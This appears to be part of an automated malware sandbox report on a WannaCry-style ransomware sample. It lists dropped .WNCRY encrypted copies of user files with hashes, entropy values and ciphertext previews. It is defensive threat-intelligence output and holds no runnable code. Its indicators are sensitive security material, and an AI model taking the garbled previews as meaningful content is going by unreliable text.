                                    Malicious:false
                                    Preview:....drW?.....].n#.....fFA..nNq.mr...B.W...S|.q$.%r.7..r.-n...Y.'.1..f.....5...A.z...1.(..s....Y;.bP&rd.y16.eRj...n.....W.!. .S.o.1..4.^%...<an|....?G.ZI.\H.o...../......B..&..v...g.S....f3.#...P...../.l.3....5......nCI.~?.R.....9q=......9J.T.=........I.HU..81..<W....,.........3......#......y1.].....L..+.\....n...8..:.pt...Q....8..X.y.=.h.M...Y... Z.N.6.uiZ.n..+.stF...Y..T..;....}.`@.V).. Gw.8..O.v..5...:.Z.n$.K..=X&aT.aa...+..4......h.5..Hh0z.....7......@.K.;s...._(fU.<.j[+..D.j-.".|...Sv..k...t-..I...oG.S..mr.......,....m.L.?J.fV*Q5..\.z._5lp..G.......q2;&.o.mZ.h.......\...v....|..T....Z......b...CW).X...]...}3W.s}(s.._..:6....D5?6..".^..-W....d+....C....l...b.1............U....g.. _..........4x..i....L.u.._)q.y..\2g3W*w..T.^....)+XA.."...8..-T...x.s.h7.N>..,R....^...<..o.4...r.1.3.{p:.,.f.v...`...Y........z..:..M..../[|Ko=...4.........e.j...v...."l..%...r..H...Vz...|..1-..dN\4h.U=.....z....W...{...,.Z..,.e+*.:.W...yU....X[..'.....y.z..g...

                                    C:\Users\user\Documents\GLTYDMDUST\LFOPODGVOH.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852902433160359
                                    Encrypted:false
                                    SSDEEP:24:bk9olJXAh4bgIDL7QaGn73unk62XaK1z3jRKdcmf75+7d/wPdg:bkKl5DLEaGn73uD27h3jcdcmf1q
                                    MD5:6D4281CE345C0CE34D92A0323F7C920F
                                    SHA1:53BC2F46403876AEB98C9FA5A89B234B27D8755E
                                    SHA-256:1B44A680B5B04958EC44B60B3A47A7670AE8756EE01751B7D9AE1C6FF83433EA
                                    SHA-512:4A1B3D8AFD23DE7993F3FBDA164C8C7C0F2D9129FFE533D515C31232005F987BBF0E5EF9528B38B245B8EFA89EEE4FE4E5EDF7AA5B8925FB96E2F1AEA7405CEB
                                    Malicious:false
                                    Preview:WANACRY!.....YgYu....K..a..|.}._....l.P.C....HkJ.H~...e...y.?..*.o...|`.RP2..f.!...I.b.<5_......G.\q..%.PKE..I....X.7q5}....+...../..J...5.g#...>g...2..v3.'R....5..y.....mD.GPTF.f.I..+Vi .5.....%.C.M.3j..P.,...a$.7...m...H.+...Y......R.m..V......i?Y};.D.M.=.............ERUt..e....MI]..&../.]U.S]...^.H.YH.z.K../4.O.....!y..%B.x<G.9.65..t..|.6.>.Vd..p........^f... . ...QQg.....v1..j.<.._...U.S.<.....1...../e......a./3.9f.].b..?,..d....@.6z.Zv.|.Y).b..f.(....c.k...O_..@....^Oj...0\2..5..z..u]3O...Sh..r.C......7...Vn.......O...G..*.Nn|.+..A3!_-..`.Z...X.<..t..7%..r.%x.........9.d...J.$.....T....k.."bS.A.SFt.o....L.z...4]$S...gq....0..l....#.*.}'..,R.Z... ...a..6.....f.&e.Q_..rQ.O...{..;...s.]$.....{.I.k....^.....g.}...J....?./....r...;C.......).....D.H...<.MW......xqy..bI..)u&.;...C...H....B.V;.j^\'1Y.6.. Wj.,wl. ..!..%.II...I4u@.9.....-SI..{.~.wh...$.\....4;..fv4......A.'D...z.'..D....$..!..H..D...a..[f.Q.[.9.l.q..8#,T.......z?\.d..!...........d.O

                                    C:\Users\user\Documents\GLTYDMDUST\LFOPODGVOH.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.852902433160359
                                    Encrypted:false
                                    SSDEEP:24:bk9olJXAh4bgIDL7QaGn73unk62XaK1z3jRKdcmf75+7d/wPdg:bkKl5DLEaGn73uD27h3jcdcmf1q
                                    MD5:6D4281CE345C0CE34D92A0323F7C920F
                                    SHA1:53BC2F46403876AEB98C9FA5A89B234B27D8755E
                                    SHA-256:1B44A680B5B04958EC44B60B3A47A7670AE8756EE01751B7D9AE1C6FF83433EA
                                    SHA-512:4A1B3D8AFD23DE7993F3FBDA164C8C7C0F2D9129FFE533D515C31232005F987BBF0E5EF9528B38B245B8EFA89EEE4FE4E5EDF7AA5B8925FB96E2F1AEA7405CEB
                                    Malicious:false
                                    Preview:WANACRY!.....YgYu....K..a..|.}._....l.P.C....HkJ.H~...e...y.?..*.o...|`.RP2..f.!...I.b.<5_......G.\q..%.PKE..I....X.7q5}....+...../..J...5.g#...>g...2..v3.'R....5..y.....mD.GPTF.f.I..+Vi .5.....%.C.M.3j..P.,...a$.7...m...H.+...Y......R.m..V......i?Y};.D.M.=.............ERUt..e....MI]..&../.]U.S]...^.H.YH.z.K../4.O.....!y..%B.x<G.9.65..t..|.6.>.Vd..p........^f... . ...QQg.....v1..j.<.._...U.S.<.....1...../e......a./3.9f.].b..?,..d....@.6z.Zv.|.Y).b..f.(....c.k...O_..@....^Oj...0\2..5..z..u]3O...Sh..r.C......7...Vn.......O...G..*.Nn|.+..A3!_-..`.Z...X.<..t..7%..r.%x.........9.d...J.$.....T....k.."bS.A.SFt.o....L.z...4]$S...gq....0..l....#.*.}'..,R.Z... ...a..6.....f.&e.Q_..rQ.O...{..;...s.]$.....{.I.k....^.....g.}...J....?./....r...;C.......).....D.H...<.MW......xqy..bI..)u&.;...C...H....B.V;.j^\'1Y.6.. Wj.,wl. ..!..%.II...I4u@.9.....-SI..{.~.wh...$.\....4;..fv4......A.'D...z.'..D....$..!..H..D...a..[f.Q.[.9.l.q..8#,T.......z?\.d..!...........d.O

                                    C:\Users\user\Documents\GLTYDMDUST\LIJDSFKJZG.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.808774174188572
                                    Encrypted:false
                                    SSDEEP:24:NczqSEdQJ8ncL2+TvApQS5WatXlieMo5RN3q5HqyMt6lWPOdfa:NC8kV2+7ApTcmXlKAzirWPQa
                                    MD5:29BD1A4210F71A43A44B5AAC9BEC7A81
                                    SHA1:DCB9AE47B1E9740882B3EEA9FD5D409773D4CA62
                                    SHA-256:A36E7B69180BD21FEA19BBD80CBAFC789B5A8937128BEC2F6627E367CB9F5413
                                    SHA-512:C35BD13491573CAE2AC2DD231820E4FC981D39BAF1819B0773B2FE252EE0C37DBD5099400B3585DDE55E0E72DAA2BDF79C9078C1881AE35799676E8F2978693C
                                    Malicious:false
                                    Preview:..rG..~71...O...J.....e...#J./}>8V.x.".qm$..cb:...T.=.q..;.....sB.....E.....5.....f.|.N...m.......!.ssp....1.)!.O.]x .g.Y.8..y...v.:V...<.1.B...2F.......R-.uF.,..M ...(.....!.....Q..B.a8.@..M....C.yB.A../../......L.oE.A.$!.h........H.G..C.FU........*g.D1BZ;..Zx.)QG...@&.....#'.jn.a.D....o.Q0.....9 .Ijf.........%}.....x......>.-.*3...A........;L..dZ^..|..".f\....AIn...g..H..:hV.|..7....;.o..#Gq*+...g{}fI....k9.R=....r....K.../..z.......4!.."...~+...3.)....E..T$ .Z..Y..........L...gBB..W.b..4........}..7...&.B...,."H.).(d~....s.K.}...F..R+.......FxB.a.Ox...#.%.j..q... 7.....jV.....c..._...a...>'.1..O...)9....k...........{..q.Z..4'..sRL....^....\..{.....P.J..9`2*.r.Y=.f-.8.....|!...~[.E.D.h&...~...I..iJ.d*......-.q.......7...<.h..4..4......p.7.G<.+..c...f.?..........O.n.I..t..N2!f....C..W.?.-.H#.0+J.nN.I....6.}~.....5....k.n.>...H{..R"...R..h&.$....<..........!>...fB^.!.FKF.....x.X..$G.nA.;}.."m.....|Fa.E.!...y.aO...y...8.,;.L..,.N.

                                    C:\Users\user\Documents\GLTYDMDUST\LIJDSFKJZG.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8088291118560855
                                    Encrypted:false
                                    SSDEEP:24:bkHFYR3Jf3LG5DM3l87BhYjVyvr5FGtdCThSYwpZ2RDDrkV7TiDaWf2OaZonYgni:bkHOR5fwIi7BU4T54tdahSYwp4RDD+aa
                                    MD5:21FFC44A14C5F7BE68A298AF9A8D4C31
                                    SHA1:F802CF28DE7CAD3149785142C4F1C528D515C95A
                                    SHA-256:D4D5546AF0F40E51D0F936AC1E724B1FEFF7E150FFED96CC0B2BE1AD78584C93
                                    SHA-512:A38C3EAAC58BF018B9425503D7936DB9DE95B8131CE0C7B76E30D8DCAD27755AC86558B86CCE192CEA73177E87BFF6FD98D1794A6226CC47EBBD5D1C91E454BC
                                    Malicious:false
                                    Preview:WANACRY!.....oor..q.v....GT|C.{..xX.Z..,iC.`.rT.d....|2.Yh.5...9.:.P..NLk..V7Q..;w.'.k.........Qe.j..+c:.....z....P.tC........B.....W.=....)../.H.*..5c-.$...U..u4._l....';1........d.2..RgM..).....G.'xg6;...#7:x.OwF...,.z .8.T......E+~...~ 4..bA.F7...c..),'?).%Q............Y...'.(..k....R..$G..g-......"...3.O....L.....~..d..e..........*..Q..kd.O.....d....dlh.a.g..l>...K..C..;.!...Pxd8K......y.G....M....2ZU..J.UG.g...uT.!.U..R-.\3...K....{......H..;9y2....P.>.....l)...tr.+.,.6.z.;[..9......b'..l.Kk......%.n.:fHU.2..Ur`..C.l...S.%_.fR...?.?[=..c;.q..v..Y7..Y6j..cZ....dDS...../b..).T....].Y[^;'.k.>.......2.Jz.].p.....i.9...<N..Ci..rW~..R..7.../......+nso..U..\...y......j.i.....$..I.]$+po..A...,....F.....z...h;....HvZ.s..h..4...)....jN...F.Z.#f..i.+...6q-......PV.s$........X..0h.6Cl...-../k..G.#.4.7..F......D.DmM.L.....'9.m...#O.D..R.=...O..<|-...-..W+,..X..&V."....k.c.o.........K....p.i^X.....G..=.>.....1E....x...m...G..9z..=..Y..T..%R...6.D.eU..0,t.

                                    C:\Users\user\Documents\GLTYDMDUST\LIJDSFKJZG.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8088291118560855
                                    Encrypted:false
                                    SSDEEP:24:bkHFYR3Jf3LG5DM3l87BhYjVyvr5FGtdCThSYwpZ2RDDrkV7TiDaWf2OaZonYgni:bkHOR5fwIi7BU4T54tdahSYwp4RDD+aa
                                    MD5:21FFC44A14C5F7BE68A298AF9A8D4C31
                                    SHA1:F802CF28DE7CAD3149785142C4F1C528D515C95A
                                    SHA-256:D4D5546AF0F40E51D0F936AC1E724B1FEFF7E150FFED96CC0B2BE1AD78584C93
                                    SHA-512:A38C3EAAC58BF018B9425503D7936DB9DE95B8131CE0C7B76E30D8DCAD27755AC86558B86CCE192CEA73177E87BFF6FD98D1794A6226CC47EBBD5D1C91E454BC
                                    Malicious:false
                                    Preview:WANACRY!.....oor..q.v....GT|C.{..xX.Z..,iC.`.rT.d....|2.Yh.5...9.:.P..NLk..V7Q..;w.'.k.........Qe.j..+c:.....z....P.tC........B.....W.=....)../.H.*..5c-.$...U..u4._l....';1........d.2..RgM..).....G.'xg6;...#7:x.OwF...,.z .8.T......E+~...~ 4..bA.F7...c..),'?).%Q............Y...'.(..k....R..$G..g-......"...3.O....L.....~..d..e..........*..Q..kd.O.....d....dlh.a.g..l>...K..C..;.!...Pxd8K......y.G....M....2ZU..J.UG.g...uT.!.U..R-.\3...K....{......H..;9y2....P.>.....l)...tr.+.,.6.z.;[..9......b'..l.Kk......%.n.:fHU.2..Ur`..C.l...S.%_.fR...?.?[=..c;.q..v..Y7..Y6j..cZ....dDS...../b..).T....].Y[^;'.k.>.......2.Jz.].p.....i.9...<N..Ci..rW~..R..7.../......+nso..U..\...y......j.i.....$..I.]$+po..A...,....F.....z...h;....HvZ.s..h..4...)....jN...F.Z.#f..i.+...6q-......PV.s$........X..0h.6Cl...-../k..G.#.4.7..F......D.DmM.L.....'9.m...#O.D..R.=...O..<|-...-..W+,..X..&V."....k.c.o.........K....p.i^X.....G..=.>.....1E....x...m...G..9z..=..Y..T..%R...6.D.eU..0,t.

                                    C:\Users\user\Documents\GLTYDMDUST\UNKRLCVOHV.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.811874614148088
                                    Encrypted:false
                                    SSDEEP:24:pDv1NvoMyqABEX02t+uzuwBc3jT2EXqyul86jLhiMzJzWnnjCwVTmLHXn:B/vluEX02UaWTdxI8ZnnjFVKzX
                                    MD5:ECF00CA8322CC31BF65D7DAB91040046
                                    SHA1:100A084165A1FF5FAB2D2B30EFF235DAD3C8CACD
                                    SHA-256:266C7CD7CB82705139336DCEBDE3026F94A7274BF2F3ED605A7C3B1B18394BE2
                                    SHA-512:671F2D997ECE3FBC0DDD2ADC707308DC09487C8D2440EBA63211659AC35B829FFD2D4F93B7BA91386C657520C755BC2AD8B5D59D18B8A43FE526E442C2897E04
                                    Malicious:false
                                    Preview:m.!..........!T".2...v.....&......2Q..@..t...y.8YG'[...@..?.s.y`...NWc.G...m.ja.5.@..r.Tb2..T.......*.L.....Z.!V"..0..Yx..Z.[...hh.l..&h.t.....j....(....O.x.{..[.....wJ..'.L.YO...p.....h..O$s\M.tal.[..l...y..R.G......=.S...=43*.....bg)o......H..~...+,..\.7_.8.....} D=.F.3...B..(.L.!..."..u....J&..A...u..go...'.{..!i..l..+N..d..!.6.$.Q3..9..<p7;=..4......@.S>.p..~U..YxF....q.Y4)..x8M.}..Zb..)....:4.....5.5..4......E..X.$j m.3..X.)..J.'..a.^.5.".Qu.I1j.g.z.M.SZ.s.g!.f...-..Wi.&.}x.8.....,R.X.0r..4ZE.!...A.....7#...U..4.....j[.i...Q..,>.....<n..J.gR....2.G.Y\8.O...c....&...........u.A.f......J..C...2...n..k|.n7[..G8..?5......&.....A..-....t...........'...(...<.9..`.O'G..MT..Y..+U......s.Ec...<.e6ZW..Rsv.l)..%..H,.]...'.0....Ck.3..1a..."r|.T[.....y..L........0....5.....`.j.6.I._...-r.U....M.#R..F9.......|.y.......O.I..#._c....H.D..T..=ou..-A....}t.......X....W.d.6'oO#...$..y.z.@1.O...T}.r.[IvU..x6.........*.........*E.|.Z.6..n...s\z..p.k.. .#.v.jYu'.<h

                                    C:\Users\user\Documents\GLTYDMDUST\UNKRLCVOHV.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.877330586434874
                                    Encrypted:false
                                    SSDEEP:24:bkXPN9x5jd/3wIGE6QdyFxYxirQnonJHRdh0p9b//PgWN/4sVaTMGgWNG:bkXPN9x5jdoE34FxYgrAoJTh0pVYK/4S
                                    MD5:5E5B5852D4FB04F608EE64D0EF4306EB
                                    SHA1:610B7FCC64DF42257CA10E73A40DFE137E322152
                                    SHA-256:CDA3631140779BFB74854588897DAB286276BAD8BF04E979FEAF1C91A38A96BA
                                    SHA-512:5672920BD3691270561DDD53B044A30F193C06AA3F5DBA54E83361B6C0EE9CCE68B5EFA8907A492C00D7632890C8008B206EEDC5BACF9F0FC581BB89F2F1B42C
                                    Malicious:false
                                    Preview:WANACRY!....>......Q..#'2_ N....u8q..U....R..t.=...R.K.6..C\Z@45..m....+.x.a..)R%h..c..*.f.a..S.I..Y_.3..c..}...Aj.^..,...H.....C....5....}n*....a.!.7...G;..t... F..4..7\.... >..W{.....6..C8....A..$xG...&c....U..,.}.....e.A...l..E..6;^b..\..^..z.C......2.w..nq............=.N.....Y.a.4..g.8)d...uQ..t.F[..C.tz.B.=....F&.gV.\...O+.c.l.....ck.9..',@:y.K..y...o....b..0..#..M....{...1.A.}...}...RQ.H..C7b.q.{}23.!..^.h....*QFZ.j*.H.>0..l...+....~UQp.&...M.....u.v<.M.p...X.&..;=.0n...A.B-...HF..a...!.....x.7..]...P..,.5.!9E#d.!..d...^W.......]Y....P......hT.pf ...7Z.<A.x......iE..a.;....0....T..y...........=..u.L......k,.Q~y...]7....N.wn.Q'.W.]...Zn....j.f.l2...(.`(...V......|..g.....d{.......$T.W.LS...hq.=......tl.......$..=.....U.6.)~....%..3.b..e\^y...E...1.P..8....#".`.^Hh^....%~...c,MG.4..-D..5..KA/....l.il.....a...=G5L<.X~L.00..,.2G...`.g.<.bQeT..D..]%.k...B.3/.H.xx...&a<.:...!..j....F!.2C:.....W)...K..(....{5.S.?...'..~..#.....!..<..J..%~u.`..

                                    C:\Users\user\Documents\GLTYDMDUST\UNKRLCVOHV.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.877330586434874
                                    Encrypted:false
                                    SSDEEP:24:bkXPN9x5jd/3wIGE6QdyFxYxirQnonJHRdh0p9b//PgWN/4sVaTMGgWNG:bkXPN9x5jdoE34FxYgrAoJTh0pVYK/4S
                                    MD5:5E5B5852D4FB04F608EE64D0EF4306EB
                                    SHA1:610B7FCC64DF42257CA10E73A40DFE137E322152
                                    SHA-256:CDA3631140779BFB74854588897DAB286276BAD8BF04E979FEAF1C91A38A96BA
                                    SHA-512:5672920BD3691270561DDD53B044A30F193C06AA3F5DBA54E83361B6C0EE9CCE68B5EFA8907A492C00D7632890C8008B206EEDC5BACF9F0FC581BB89F2F1B42C
                                    Malicious:false
                                    Preview:WANACRY!....>......Q..#'2_ N....u8q..U....R..t.=...R.K.6..C\Z@45..m....+.x.a..)R%h..c..*.f.a..S.I..Y_.3..c..}...Aj.^..,...H.....C....5....}n*....a.!.7...G;..t... F..4..7\.... >..W{.....6..C8....A..$xG...&c....U..,.}.....e.A...l..E..6;^b..\..^..z.C......2.w..nq............=.N.....Y.a.4..g.8)d...uQ..t.F[..C.tz.B.=....F&.gV.\...O+.c.l.....ck.9..',@:y.K..y...o....b..0..#..M....{...1.A.}...}...RQ.H..C7b.q.{}23.!..^.h....*QFZ.j*.H.>0..l...+....~UQp.&...M.....u.v<.M.p...X.&..;=.0n...A.B-...HF..a...!.....x.7..]...P..,.5.!9E#d.!..d...^W.......]Y....P......hT.pf ...7Z.<A.x......iE..a.;....0....T..y...........=..u.L......k,.Q~y...]7....N.wn.Q'.W.]...Zn....j.f.l2...(.`(...V......|..g.....d{.......$T.W.LS...hq.=......tl.......$..=.....U.6.)~....%..3.b..e\^y...E...1.P..8....#".`.^Hh^....%~...c,MG.4..-D..5..KA/....l.il.....a...=G5L<.X~L.00..,.2G...`.g.<.bQeT..D..]%.k...B.3/.H.xx...&a<.:...!..j....F!.2C:.....W)...K..(....{5.S.?...'..~..#.....!..<..J..%~u.`..

                                    C:\Users\user\Documents\HMPPSXQPQV.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:OpenPGP Public Key
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.849842616220496
                                    Encrypted:false
                                    SSDEEP:24:0gAQAr1QqVLQsMA73/1+Wb31+61Nd7V0vT6BM1gQgji71WxJZXDcU:ar1QWfMA7t+WB+61Z0bKMS271Wx7zN
                                    MD5:D1CA5CA5FDEDF3AA6FA2F02114E986B8
                                    SHA1:87ACBD0D982533D87B98BB54ED98D9BFDE57ABAF
                                    SHA-256:D0AFEFBFDDE816234F5CFC206B3D6389B9A1D4C95141169200755E381261271B
                                    SHA-512:EF7E8CF3C8F920113F628CFD7F977D156EA7172BCEAC0510DCD9E1D4F90EAE84A1E872A0BB22FE0A628298BA9E5E180AF787198B97940F720F2893195CEFB010
                                    Malicious:false
                                    Preview:..C...3........#..."?.b&=..H...g.s*.0|........Z.']U.Ba\.&t.../.....U.Aph...e.$u.&ZOd..S..$..f..Pg.Z..q............:~zq...E).5..5=2im%T.%Y.... ...x%.>...<z.vg..^..Bj.:.>...nZ.....4....3ds....I..N..l..<...nH7u.Se.f.<.."e....lS.(...R..:.......w.......E.L.o..~.V.<...x.......p..pL...=+.E5.lV..e..%~...T.Z...S.o..n.2...Y.....e....E...]V._...9;....u:. .u....R...j....s....;....O..a.....{m...)mP^q.t..z8....7.....[`..K...U......D.y9.':w...."P0.0.f+..F.._.+.O...Y.....f..$.b.X.).....U..,.x6..|..J.|...+..;.,......+.eA..5....6...X2$..K.).q.p.....\.....!YI.0yX.i.#.[.[......p.Ge...`..k....TSC...0...{?..@@.P.]..Y..9..,.[..q7.[@.'....]?'.......\...T_.......7(...4.=y....!...$-m......\.o-dT ..8....:..M=Y.(Y>..'...S..i..=<....2X..Pd}1U .Un..u!..c.+.n9v6...|.8.cB......(...(z.........&.<..-N.M.....Ex.S....3...........1.:..b..~......e.n.2.........n.U..cK.....%....E...1...q&....o.7.......g."S..:[e...!\..a.Ph........?=_...*....,Jr..L.:V..v|..Q.P.>..V.^.%..0..t

                                    C:\Users\user\Documents\HMPPSXQPQV.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.828697846930721
                                    Encrypted:false
                                    SSDEEP:24:bkqAFw9DFvLcp+xxXU2Ed1nXbqh8Kq7wdEyEEl05U2B+U7jd+e5P:bkqAi9KULXUHXOQs453BLBP
                                    MD5:BEA792E300028F77FB9C3D7B7B6D0345
                                    SHA1:209E9373920A29CCA5B093C431C3A973C53A54CC
                                    SHA-256:626CDEA60C0ABB2EED898708C67C6BA8F00FE6829C55700AA15A9148127BC93D
                                    SHA-512:5AEC01BB0588A957B8E27EB30B62A0C7B585F2069B6FAE14E721BB93A57156E246812DC52E5BD642AC9D99131E5BCA369E4AC369DB1A32A3B1B95DAEB9B8C0EA
                                    Malicious:false
                                    Preview:WANACRY!.....i.HK...[b..f..F.......{...@|c.....G1.2.........)...v..lA-48R....]...........UK.-d...2Y$$.T.-......@.&T..e....<.3....?...>qC.S..Q.L.f..+...a.dA.........U.rL.t.&;.E..^u..`...W.....0..pT+...^Qg...7.k..Rp..6-.kZ.D.3.1!.1.td..ao..4.,..M.E.Q.d.............Y....$(..-=j"P_..LE<.%dH.+`.\..K;./.O....W.^..XTM ......_S..Nh...V....W.+8.l..........#....t(n...K}.c.]X(......A....G.Z.wcD<.R~c../y.r'.........L.J^....H.+..c...-..0.L.|.......,z..tG.\..h......cs..].7...q.J.........A.R.F....-...G_s...}..,.p.4..@........(..f..........Y.c.....!..D..Bon.X.Q.Z._..o...IX....9Z....-.#).V`._;..R..$..x90.......>...<...k.d2.J....t..]E>J`....K<<..m5.`_T<<..z.....y..)...@.d0.C..p.<$4...T.pr.>.y=r...<-5[..K.....].6e^.9.J..h.6.r2Q2SM8$6\Z...G..A...N.q......!.p........D+]Fh..ZOBr..X... nw...........YI.....~...c.L....m...Kt.>!.4...{..=l/..=.gjZ!LT.D..o=7...BN...~.tG...+l.......:.{.2..PVv^.....'d.....mThf.g....f.[F@......5Si.....mN..A..-.))...h...A0.3.V....

                                    C:\Users\user\Documents\HMPPSXQPQV.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.828697846930721
                                    Encrypted:false
                                    SSDEEP:24:bkqAFw9DFvLcp+xxXU2Ed1nXbqh8Kq7wdEyEEl05U2B+U7jd+e5P:bkqAi9KULXUHXOQs453BLBP
                                    MD5:BEA792E300028F77FB9C3D7B7B6D0345
                                    SHA1:209E9373920A29CCA5B093C431C3A973C53A54CC
                                    SHA-256:626CDEA60C0ABB2EED898708C67C6BA8F00FE6829C55700AA15A9148127BC93D
                                    SHA-512:5AEC01BB0588A957B8E27EB30B62A0C7B585F2069B6FAE14E721BB93A57156E246812DC52E5BD642AC9D99131E5BCA369E4AC369DB1A32A3B1B95DAEB9B8C0EA
                                    Malicious:false
                                    Preview:WANACRY!.....i.HK...[b..f..F.......{...@|c.....G1.2.........)...v..lA-48R....]...........UK.-d...2Y$$.T.-......@.&T..e....<.3....?...>qC.S..Q.L.f..+...a.dA.........U.rL.t.&;.E..^u..`...W.....0..pT+...^Qg...7.k..Rp..6-.kZ.D.3.1!.1.td..ao..4.,..M.E.Q.d.............Y....$(..-=j"P_..LE<.%dH.+`.\..K;./.O....W.^..XTM ......_S..Nh...V....W.+8.l..........#....t(n...K}.c.]X(......A....G.Z.wcD<.R~c../y.r'.........L.J^....H.+..c...-..0.L.|.......,z..tG.\..h......cs..].7...q.J.........A.R.F....-...G_s...}..,.p.4..@........(..f..........Y.c.....!..D..Bon.X.Q.Z._..o...IX....9Z....-.#).V`._;..R..$..x90.......>...<...k.d2.J....t..]E>J`....K<<..m5.`_T<<..z.....y..)...@.d0.C..p.<$4...T.pr.>.y=r...<-5[..K.....].6e^.9.J..h.6.r2Q2SM8$6\Z...G..A...N.q......!.p........D+]Fh..ZOBr..X... nw...........YI.....~...c.L....m...Kt.>!.4...{..=l/..=.gjZ!LT.D..o=7...BN...~.tG...+l.......:.{.2..PVv^.....'d.....mThf.g....f.[F@......5Si.....mN..A..-.))...h...A0.3.V....

                                    C:\Users\user\Documents\IZMFBFKMEB.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8195485249804735
                                    Encrypted:false
                                    SSDEEP:24:RVCJGB1v0jnQ2kEKqQiX/mp4aFJf0HY5vxE2R2jCcT1q:R4J00jn0EKqQiXoxJfX83U
                                    MD5:1320AAA5D03B5A1257A5BF8603524931
                                    SHA1:79AFE33CF3D98AB603703C9A9E99340EE5987141
                                    SHA-256:504EFD15278921E8A6DBD89A0B2FD93F2A002A6B6EE5AC878EF1AF50DE9DAE52
                                    SHA-512:3CA2AE3900095D5D5C99A89841493E65AE37141BBA698E6BD09F3367DC8A56E3C10197DD8E3EC85271A320EB964C96B9379B65708DDEBBB293BDCB9747C9D60C
                                    Malicious:false
                                    Preview:.....c..Z...Y.i.T...M..~...lF.#...I.........`.ki..L.l...i....4w..X.e..R....Zz.c..?v..c%..8V..`t...m.5-...u.{.EK..z1qj.Ksd_.....1....9ZW&M.T...8&I.<!.&k.Zc...e&.]..F9...*..q.g...\SN.z..b...%L...6...E......>.\a...H/...$v....~..l.WS....y..S.*b.7.p#..!....Z._....R..]sB..?.........3......K.#..|...zg..3"{6....K..&Pl!..].b.......<.x.%.."6.;^QGS...\.Cl...G...Y..d.*...i...vw.77.Hr.'4.7.k..H.WE...u.~#.Q^.<......f......H+\.L./H:..3.......ls....=....pI....W.l.....J....z.J....-fn.z....c.b~.U`}..~ia..^..MM8W.5....n.........../B...8%..Q..ag.~.9oQ..OL.z...E..G....ho?.q.8U.pY.Jv.lu..BL..~.!.X...]{wMB."...*X37).T.......b.^_..!...ih.....q.hk..p..G..D.2..'X..S...p,..3..WB...3M_.O~..=....._9....R..{........`...u......i..>.....3.f.)..!_..k"Y~.%.J.c.T.4..[.K.fk$..1......rX.G<.Y..C.H...7?.V;wy...D....$....l..vn;* .&t#....B.z.2A/.[.....!.....%.7.k...G.#.>.2t.ig.t....W..|[E..8.P.....*.U.>........h.U5J...{....I.....>.qi...n...}u|.5...&.ld[+...x...}.......QZ/...T...^.&

                                    C:\Users\user\Documents\IZMFBFKMEB.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.829587063415831
                                    Encrypted:false
                                    SSDEEP:24:bk3S/NOhOmbQ4n+kIKb4DsLnVoQHR/hdVnKWmanTmtCzi3UjB1irf9Z:bkrhOmUQSiVTHR/1KemlSen
                                    MD5:78BC8DE09D03B5509B858F15BECF9D81
                                    SHA1:D9100E1EED3D809BB01DFBF2230B6BEE63BE3059
                                    SHA-256:9C6E63A7EFAD90CBF0E4E9BA1838DC05C88F12E61CFF189C32B34B0DD579BEA1
                                    SHA-512:0118D2AEE1B80780F6958FCE8EC8E024D59E5E927D9008C03E0DFBD495559207FD5A5A5465B5A98E026D03958CDF2AEBDFCB5B0F2073B8D0188EE8675D9ED1DB
                                    Malicious:false
